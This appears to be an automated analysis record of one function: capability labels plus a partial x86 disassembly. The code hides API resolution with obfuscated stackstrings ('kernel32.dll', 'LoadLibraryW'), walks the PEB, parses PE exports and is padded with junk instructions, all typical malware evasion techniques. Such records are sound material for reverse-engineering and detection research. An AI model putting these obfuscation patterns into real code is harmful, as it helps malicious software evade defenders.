Function at 0x4653cf
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edi
push edx
and edx, 0x1287
and edx, 0x6394
call 0x4653cf
add byte [ebx + 0x4d], al
cmp cl, byte [edx + 0x4c]
inc ebx
add esp, 4
pop edx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x4653ff
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x4651ca
mov dword [ebp - 0x2a8], 0
push edx
push ebx
add esp, 4
and edx, 0x9be0
pop edx
push ebx
sub ebx, 0x18542
and ebx, 0x752f
pop ebx
push ecx
push esi
add esp, 4
xor ecx, 0xbbba
sub ecx, 0xf688
xor ecx, 0xda83
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x465d40
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ecx
and ecx, 0x155b1
sub ecx, 0x284a
add ecx, 0x126a
pop ecx
push edi
push edi
add esp, 4
jmp 0x465500
sub edi, 0xdc93
sub edi, 0xde98
or edi, 0x49f
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
and esi, 0x1468a
add esi, 0x31e4
add esi, 0x17123
jmp 0x4655af
pop esi
push esi
push esi
add esp, 4
xor esi, 0x16998
add esi, 0x4a87
add esi, 0xe92b
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x4655e0
mov dword [ebp - 0x710], 0
jmp 0x465887
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push eax
add eax, 0x130b7
pop eax
push edi
xor edi, 0x239c
or edi, 0x4bfe
pop edi
push edi
add edi, 0x8a65
xor edi, 0x406c
add edi, 0x17514
pop edi
push ebx
and ebx, 0x1829
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x46563c
mov dword [ebp - 0x710], 0
jmp 0x465887
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
push eax
add esp, 4
add edi, 0x632f
pop edi
push ebx
and ebx, 0x90c2
call 0x465668
add byte [0x43464d36], bh
dec edx
inc ebp
add esp, 4
pop ebx
push ebx
jmp 0x465672
jmp 0x465679
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
jmp 0x4656ab
or esi, 0x13b0e
sub esi, 0x2ebe
and esi, 0x16d8d
pop esi
push edi
push ebx
add esp, 4
add edi, 0x50e4
add edi, 0x17247
and edi, 0x4010
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edi
add edi, 0x14261
sub edi, 0xcaca
pop edi
push ecx
push ecx
add esp, 4
and ecx, 0xeb49
pop ecx
push ebx
push eax
add esp, 4
add ebx, 0x163d8
sub ebx, 0x14fd8
and ebx, 0x15417
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x46577c
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4657d6
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x4656a4
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x4656a4
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4657c0
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4657ca
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x46581f
push ebx
push ebx
add esp, 4
or ebx, 0xb64a
jmp 0x4657ef
pop ebx
push ebx
push esi
add esp, 4
xor ebx, 0x8ac6
call 0x465807
add byte [edx + 0x3e], cl
dec eax
inc eax
xor al, 0x4f
add esp, 4
jmp 0x465810
pop ebx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x465887
push eax
sub eax, 0x12470
and eax, 0x12d24
sub eax, 0x81d4
call 0x465841
add byte [esi + 0x44], al
dec esp
inc eax
dec esi
cmp dword [eax + edx*2], esi
xor al, 0x83
les eax, [eax + ebx*2]
push edx
push ebx
add esp, 4
add edx, 0x14ab3
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x46587d
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x465648
mov dword [ebp - 0x710], 0
push edi
call 0x465898
add byte [esi + 0x3b], al
dec ebx
cmp bh, byte [esi]
dec ebx
dec edx
cmp byte ds:[ebp - 0x7d], al
les eax, [edi + ebx*2]
push eax
or eax, 0x108c2
pop eax
push eax
and eax, 0x96ff
jmp 0x4658b2
xor eax, 0xf259
pop eax
cmp dword [ebp - 0x710], 0
jne 0x465903
push edx
call 0x4658d3
add byte [esi], bh
inc ebx
cmp dh, byte [edx]
aas
dec ecx
cmp al, byte [ebp + 0x50]
add esp, 4
jmp 0x4658dd
pop edx
push edi
or edi, 0x14e9
pop edi
push edx
or edx, 0xf3f3
sub edx, 0x1365f
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x46642b
push edi
call 0x465911
add byte [ecx*2 + 0x3a3b4c46], dh
dec eax
add esp, 4
sub edi, 0xb34d
xor edi, 0x5c60
jmp 0x465928
pop edi
push edi
push edx
add esp, 4
or edi, 0x2239
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x465974
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x465c65
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x46599c
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x465c65
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x4659ce
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x465c65
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x4659f3
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x465c65
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x465a4d
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x465c59
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x465abd
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x465b6f
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x465b6f
push edi
push esi
add esp, 4
call 0x465aff
add byte [ecx + 0x4d], al
aaa
cmp al, 0x46
dec ecx
xor edi, dword [0xc4833f3d]
add al, 0x81
invalid
push edx
push eax
add esp, 4
xor edx, 0x14aa8
call 0x465b88
add byte [eax + 0x4a], dl
xor cl, byte [ebx + 0x42]
cmp byte [edx + 0x3a], al
add esp, 4
add edx, 0x167c0
add edx, 0x11e4f
pop edx
push edi
jmp 0x465ba0
pop edi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x465bce
mov dword [ebp - 0xc5c], 0
jmp 0x465c3d
push eax
push eax
add esp, 4
add eax, 0x16ecb
pop eax
push eax
push edi
add esp, 4
jmp 0x465be7
sub eax, 0x570c
pop eax
push esi
push esi
add esp, 4
sub esi, 0x16a2d
xor esi, 0x17047
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x465c33
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x465c3d
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x465c54
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x465c65
jmp 0x465a3e
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x465d40
push ecx
sub ecx, 0x8403
call 0x465c88
add byte [eax], bh
cmp al, byte [edi + 0x4c]
push eax
cmp cl, byte [edx + 0x4a]
aaa
add esp, 4
pop ecx
push ebx
push edi
add esp, 4
add ebx, 0x803f
add ebx, 0x81aa
sub ebx, 0xd7ec
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push ecx
push eax
add esp, 4
jmp 0x465cbc
call 0x465cc8
add byte [edx], bh
dec ebx
inc edx
aaa
xor eax, dword [ebx - 0xe7efb3c]
xchg ebp, eax
jns 0x465cd0
add byte [ecx + 0x7e1], al
add byte [ecx + 0x56], bl
jmp 0x465ce1
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x465d40
push edi
add edi, 0x12cd8
sub edi, 0x2a1b
pop edi
push edx
push eax
add esp, 4
and edx, 0xcc9b
pop edx
push eax
push edx
add esp, 4
or eax, 0x25b
xor eax, 0x1d49
add eax, 0x2eb8
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x46642b
push esi
and esi, 0x11fca
or esi, 0x1851b
and esi, 0xccff
or esi, 0xb3e3
pop esi
push edi
push ebx
add esp, 4
or edi, 0x9f67
sub edi, 0x3166
or edi, 0x595d
pop edi
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
push edx
add esp, 4
sub edx, 0x1631e
pop edx
push edi
call 0x465db6
add byte [ebx], bh
inc eax
dec edx
dec eax
dec esi
inc ebp
xor al, 0x4f
dec edi
add esp, 4
add edi, 0xb81f
pop edi
push ecx
push ecx
add esp, 4
add ecx, 0x13c7d
pop ecx
cmp dword [ebp - 0x1574], 0
jne 0x465de4
mov dword [ebp - 0x2a8], 0
jmp 0x46608b
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
call 0x465e06
add byte [edi + 0x46], cl
dec edx
push eax
dec ecx
xor al, 0x4e
xor eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edi], bh
cmp ecx, dword [ecx + 0x3e]
dec edi
inc ecx
dec ebx
dec ebp
push eax
add esp, 4
add ebx, 0x5cde
xor ebx, 0x8fc0
pop ebx
cmp dword [ebp - 0xc68], 0
jne 0x465e40
invalid
mov dword [ebp - 0x2a8], 0
jmp 0x46608b
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push esi
push edx
add esp, 4
add al, 0x81
not byte [esi + 0x5e]
add byte [eax], al
call 0x465e63
add byte [esi + esi + 0x4f], cl
cmp byte [ecx + 0x47], al
add esp, 4
and esi, 0x12b95
pop esi
push esi
call 0x465e7a
add byte [edx + 0x45], cl
aas
dec esi
cmp dword [ebx - 0x7d], eax
les eax, [esi + ebx*2]
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edx
add esp, 4
xor esi, 0xd605
call 0x465ec1
add byte [edi], dh
cmp al, 0x3e
inc edi
aaa
inc esi
inc esi
add esp, 4
call 0x465ed0
add byte [esi + 0x3e], cl
inc ecx
aaa
dec ecx
add esp, 4
add esi, 0xb3b7
pop esi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push eax
push ebx
add esp, 4
xor eax, 0x6c0a
call 0x465f48
add byte [0x3943334a], dh
aas
add esp, 4
pop eax
push ebx
call 0x465f59
add byte [edi], bh
dec edx
inc edx
xor eax, 0xc4833c43
add al, 0x81
jecxz 0x465fbc
add byte fs:[eax], al
pop ebx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x465f80
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x465fda
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x465ea8
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x465ea8
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x465fc4
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x465fce
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x466023
push eax
push ecx
add esp, 4
and eax, 0xd611
add eax, 0x58b4
xor eax, 0x850a
sub eax, 0xa28c
pop eax
push esi
sub esi, 0xc74b
pop esi
push edi
push ebx
add esp, 4
add edi, 0xd66c
insb byte es:[edi], dx
salc
add byte [eax], al
pop edi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x46608b
push edi
add edi, 0x122cf
sub edi, 0x11505
or edi, 0x1b25
pop edi
push esi
push esi
add esp, 4
call 0x46604b
add byte [edi], dh
inc edx
inc esi
inc ebp
dec ebp
inc ebx
cmp edi, dword [ecx]
aaa
add esp, 4
xor esi, 0x3b4
pop esi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x466081
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x465e4c
mov dword [ebp - 0x2a8], 0
push ecx
and ecx, 0x17f5
add ecx, 0xb371
jmp 0x46609e
pop ecx
push edi
push eax
add esp, 4
or edi, 0x106e
sub edi, 0x10d86
jmp 0x4660b6
sub edi, 0x2c78
pop edi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ecx
add ecx, 0xbd70
mov ebp, 0xbe80000
add byte [eax], al
add byte [eax], al
dec esp
dec ecx
dec edi
dec edx
dec esi
cmp al, byte [ebp + 0x49]
add esp, 4
or ecx, 0x5d89
pop ecx
push eax
call 0x4660fa
add byte [edi], dh
xor cl, byte [edx + 0x3c]
dec esp
add esp, 4
pop eax
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x46612e
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x46641f
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x466156
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x46641f
mov edx, 8
imul eax, edx, 0
invalid
invalid